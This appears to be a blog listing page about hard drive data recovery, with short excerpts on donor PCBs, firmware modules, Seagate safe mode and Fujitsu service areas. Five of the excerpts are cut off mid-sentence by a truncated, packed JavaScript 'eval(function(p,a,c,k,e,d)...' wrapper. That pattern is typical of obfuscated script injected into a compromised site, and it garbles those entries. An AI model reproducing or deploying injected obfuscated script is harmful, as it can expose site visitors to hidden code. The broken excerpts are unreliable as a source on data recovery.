It’s one very important step to find a donor PCB or donor hard drive for repairing and recovering hard drives. You may need to swap the PCB, exchange the head or find a donor firmware from the donor drive. This article may help you learn...
April 5, 2011 6:59 AM / 1 comment
* ID – module identifier.
* Copy – copy number.
* Importance – information about the importance of a given module for HDD operation or user data integrity.
Modules are ranked into four groups according to their importance: A, B,...
January 14, 2011 3:24 AM / no comments
Seagate drives can function both in regular mode (Normal mode, when a drive during start reads its firmware
(microprogram) and data from disk surface and initiates the user interface) and in Safe mode. In the latter case, the
drive does not...
December 27, 2010 7:21 AM / no comments
Data recovery for a hard drive is not as mysterious or as costly as some believe. Yes, there are tremendously expensive lab extraction processes that can be employed but there are also other options available.
Is there any one thing that...
December 24, 2010 1:30 AM / no comments
Fujitsu HDD modules can be accessed for reading/writing both in the service area of disk surfaces (where
they are stored permanently and regularly loaded during drive start-up when the power is switched on), and in drive RAM on its electronics...
November 5, 2010 7:54 AM / no comments
An episode of data eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...
June 13, 2010 1:59 AM / 1 comment
Optical eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...
May 10, 2010 5:58 AM / 1 comment
“Disk eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...
April 26, 2010 3:08 AM / 8 comments
Data eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new...
February 21, 2010 9:46 AM / 1 comment
The memory is divided in 128 blocks of 64 kb each. A block starts with a 76 bytes block header, which holds information about the block. The rest of the block contains data eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return...
February 8, 2010 5:01 AM / no comments